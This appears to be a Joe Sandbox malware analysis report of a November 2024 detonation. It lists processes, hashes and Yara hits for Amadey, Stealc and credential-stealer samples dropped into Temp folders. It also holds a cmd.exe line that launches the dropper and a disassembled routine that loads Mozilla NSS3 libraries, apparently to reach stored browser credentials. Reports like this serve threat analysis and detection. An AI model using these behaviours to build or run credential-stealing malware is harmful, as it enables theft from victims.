Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2204 --field-trial-handle=2076,i,8992368874469410741,4708435404843590611,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	12:08:27
Start date:	13/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6928 --field-trial-handle=2076,i,8992368874469410741,4708435404843590611,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	12:08:27
Start date:	13/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7092 --field-trial-handle=2076,i,8992368874469410741,4708435404843590611,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	12:08:29
Start date:	13/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7592 --field-trial-handle=2076,i,8992368874469410741,4708435404843590611,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	12:08:29
Start date:	13/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7592 --field-trial-handle=2076,i,8992368874469410741,4708435404843590611,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	12:08:42
Start date:	13/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsCFBAKKJDBK.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	12:08:42
Start date:	13/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	12:08:42
Start date:	13/11/2024
Path:	C:\Users\user\DocumentsCFBAKKJDBK.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsCFBAKKJDBK.exe"
Imagebase:	0x9b0000
File size:	3'272'192 bytes
MD5 hash:	9E19954BD113E38187CE4690720F936F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000002.2640317594.00000000009B1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	12:08:49
Start date:	13/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xf70000
File size:	3'272'192 bytes
MD5 hash:	9E19954BD113E38187CE4690720F936F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000002.2661641645.0000000000F71000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	12:09:00
Start date:	13/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xf70000
File size:	3'272'192 bytes
MD5 hash:	9E19954BD113E38187CE4690720F936F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	12:09:10
Start date:	13/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe"
Imagebase:	0xb0000
File size:	3'110'400 bytes
MD5 hash:	F3D952CDFB67A5DDF70E0E738DB76D96
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000018.00000003.2970388782.0000000001540000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000018.00000003.2925826433.0000000001540000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000018.00000003.2901321266.0000000001540000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000018.00000003.2962871618.0000000001540000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000018.00000003.2870027262.000000000153E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000018.00000003.2896656857.0000000001540000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000018.00000003.2962447541.0000000001540000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000018.00000003.2925233765.0000000001540000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000018.00000003.2962953105.0000000001540000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000018.00000003.2930865261.000000000153E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000018.00000003.2925954372.0000000001540000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000018.00000003.2869996820.0000000001530000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	12:09:15
Start date:	13/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe"
Imagebase:	0x2d0000
File size:	1'784'832 bytes
MD5 hash:	D65607F5B37E8B0349921FECA6DDAE17
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000019.00000002.2920183132.00000000002D1000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000019.00000002.2922940562.00000000010DE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000019.00000003.2879634659.0000000004C80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	12:09:19
Start date:	13/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2204 --field-trial-handle=2076,i,8992368874469410741,4708435404843590611,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	12:09:19
Start date:	13/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:
File size:	3'272'192 bytes
MD5 hash:	9E19954BD113E38187CE4690720F936F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	12:09:22
Start date:	13/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe"
Imagebase:	0xb0000
File size:	3'110'400 bytes
MD5 hash:	F3D952CDFB67A5DDF70E0E738DB76D96
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000003.3060149212.0000000001400000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000003.3049026525.00000000013FA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000003.3021506606.00000000013FA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000003.3004019061.00000000013FA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000003.3020923978.00000000013FA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000003.2983449881.00000000013FA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001C.00000003.3218595100.0000000008780000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000003.2999302927.00000000013FA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000003.3023021151.00000000013FA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000003.3000401526.00000000013FA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001C.00000002.3286978773.0000000006371000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001C.00000002.3274336634.000000000139C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000003.3048641226.00000000013FA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	12:09:24
Start date:	13/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7172 --field-trial-handle=2076,i,8992368874469410741,4708435404843590611,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	12:09:25
Start date:	13/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe"
Imagebase:	0x370000
File size:	2'821'632 bytes
MD5 hash:	5D4E68EDEE731DA68E5B08C65919996A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	12:09:30
Start date:	13/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe"
Imagebase:	0x2d0000
File size:	1'784'832 bytes
MD5 hash:	D65607F5B37E8B0349921FECA6DDAE17
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001F.00000002.3086404346.00000000010EB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001F.00000003.3036822838.0000000004C80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001F.00000002.3084154633.00000000002D1000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	12:09:39
Start date:	13/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe"
Imagebase:	0x370000
File size:	2'821'632 bytes
MD5 hash:	5D4E68EDEE731DA68E5B08C65919996A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	12:09:50
Start date:	13/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=0f2c5625b4.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	12:09:51
Start date:	13/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=2008,i,7662599794859556948,6629486081676851329,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	12:09:55
Start date:	13/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=price_comparison_service.mojom.DataProcessor --lang=en-GB --service-sandbox-type=entity_extraction --mojo-platform-channel-handle=7484 --field-trial-handle=2076,i,8992368874469410741,4708435404843590611,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	12:09:55
Start date:	13/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe"
Imagebase:	0x2d0000
File size:	1'784'832 bytes
MD5 hash:	D65607F5B37E8B0349921FECA6DDAE17
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000024.00000002.3334792447.00000000002D1000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000024.00000003.3288349906.0000000005180000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000024.00000002.3337028806.00000000013DB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	12:10:04
Start date:	13/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe
Wow64 process (32bit):
Commandline:	"C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe"
Imagebase:
File size:	2'821'632 bytes
MD5 hash:	5D4E68EDEE731DA68E5B08C65919996A
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	12:11:24
Start date:	13/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6936 --field-trial-handle=2076,i,8992368874469410741,4708435404843590611,262144 /prefetch:8
Imagebase:
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 6CC16E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CD62120,6CC17E60), ref: 6CC16EBC
TlsGetValue.KERNEL32 ref: 6CC16EDF
EnterCriticalSection.KERNEL32(?), ref: 6CC16EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6CC16F25

Part of subcall function 6CBEA900: TlsGetValue.KERNEL32(00000000,?,6CD614E4,?,6CB84DD9), ref: 6CBEA90F
Part of subcall function 6CBEA900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CBEA94F

PR_Unlock.NSS3 ref: 6CC16F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6CC16FA9
TlsGetValue.KERNEL32 ref: 6CC170B4
EnterCriticalSection.KERNEL32(?), ref: 6CC170C8
PR_CallOnce.NSS3(6CD624C0,6CC57590), ref: 6CC17104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC17117
SECOID_Init.NSS3 ref: 6CC17128
PORT_Alloc_Util.NSS3(00000057), ref: 6CC1714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC1717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC171A9
PR_NotifyAllCondVar.NSS3 ref: 6CC171CF
PR_Unlock.NSS3 ref: 6CC171DD
free.MOZGLUE(?), ref: 6CC171EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC17208
free.MOZGLUE(00000000), ref: 6CC17221
free.MOZGLUE(00000001), ref: 6CC17235
TlsGetValue.KERNEL32 ref: 6CC1724A
EnterCriticalSection.KERNEL32(?), ref: 6CC1725E
PR_NotifyCondVar.NSS3 ref: 6CC17273
PR_Unlock.NSS3 ref: 6CC17281
SECMOD_DestroyModule.NSS3(00000000), ref: 6CC17291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC172B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC172D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC172E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC17301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC17310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC17335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC17344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC17363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC17372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6CD50148,,defaultModDB,internalKeySlot), ref: 6CC174CC
free.MOZGLUE(00000000), ref: 6CC17513
free.MOZGLUE(00000000), ref: 6CC1751B
free.MOZGLUE(00000000), ref: 6CC17528
free.MOZGLUE(00000000), ref: 6CC1753C
free.MOZGLUE(00000000), ref: 6CC17550
free.MOZGLUE(00000000), ref: 6CC17561
free.MOZGLUE(00000000), ref: 6CC17572
free.MOZGLUE(00000000), ref: 6CC17583
free.MOZGLUE(00000000), ref: 6CC17594
free.MOZGLUE(00000000), ref: 6CC175A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6CC175BD
free.MOZGLUE(00000000), ref: 6CC175C8
free.MOZGLUE(00000000), ref: 6CC175F1
PR_NewLock.NSS3 ref: 6CC17636
SECMOD_DestroyModule.NSS3(00000000), ref: 6CC17686
PR_NewLock.NSS3 ref: 6CC176A2

Part of subcall function 6CCC98D0: calloc.MOZGLUE(00000001,00000084,6CBF0936,00000001,?,6CBF102C), ref: 6CCC98E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6CC176B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6CC17707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CC1771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CC17731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6CC1774A
DeleteCriticalSection.KERNEL32(?), ref: 6CC17770
free.MOZGLUE(?), ref: 6CC17779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC1779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC177AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6CC177C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CC177DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6CC17821
PORT_Alloc_Util.NSS3(?), ref: 6CC17837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6CC1785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CC1786F
SECMOD_AddNewModuleEx.NSS3 ref: 6CC178AC
free.MOZGLUE(00000000), ref: 6CC178BE
SECMOD_AddNewModuleEx.NSS3 ref: 6CC178F3
free.MOZGLUE(00000000), ref: 6CC178FC
free.MOZGLUE(00000000), ref: 6CC1791C

Part of subcall function 6CBF07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB8204A), ref: 6CBF07AD
Part of subcall function 6CBF07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB8204A), ref: 6CBF07CD
Part of subcall function 6CBF07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB8204A), ref: 6CBF07D6
Part of subcall function 6CBF07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB8204A), ref: 6CBF07E4
Part of subcall function 6CBF07A0: TlsSetValue.KERNEL32(00000000,?,6CB8204A), ref: 6CBF0864
Part of subcall function 6CBF07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CBF0880
Part of subcall function 6CBF07A0: TlsSetValue.KERNEL32(00000000,?,?,6CB8204A), ref: 6CBF08CB
Part of subcall function 6CBF07A0: TlsGetValue.KERNEL32(?,?,6CB8204A), ref: 6CBF08D7
Part of subcall function 6CBF07A0: TlsGetValue.KERNEL32(?,?,6CB8204A), ref: 6CBF08FB

Strings

dbm:, xrefs: 6CC17716
extern:, xrefs: 6CC1772B
,defaultModDB,internalKeySlot, xrefs: 6CC1748D, 6CC174AA
dll, xrefs: 6CC1788E
Spac, xrefs: 6CC17389
sql:, xrefs: 6CC176FE
rdb:, xrefs: 6CC17744
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6CC174C7
kbi., xrefs: 6CC17886
NSS Internal Module, xrefs: 6CC174A2, 6CC174C6

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: fd7c62659a28b66e55ce39a7cbf5a7dc3fb1b0cc412e11b31d686cc88da9c6de
Instruction ID: 086941fa8fe975cdb1926e9c6c63dbcc608209d204ecaa39c170ae453dc78fba
Opcode Fuzzy Hash: fd7c62659a28b66e55ce39a7cbf5a7dc3fb1b0cc412e11b31d686cc88da9c6de
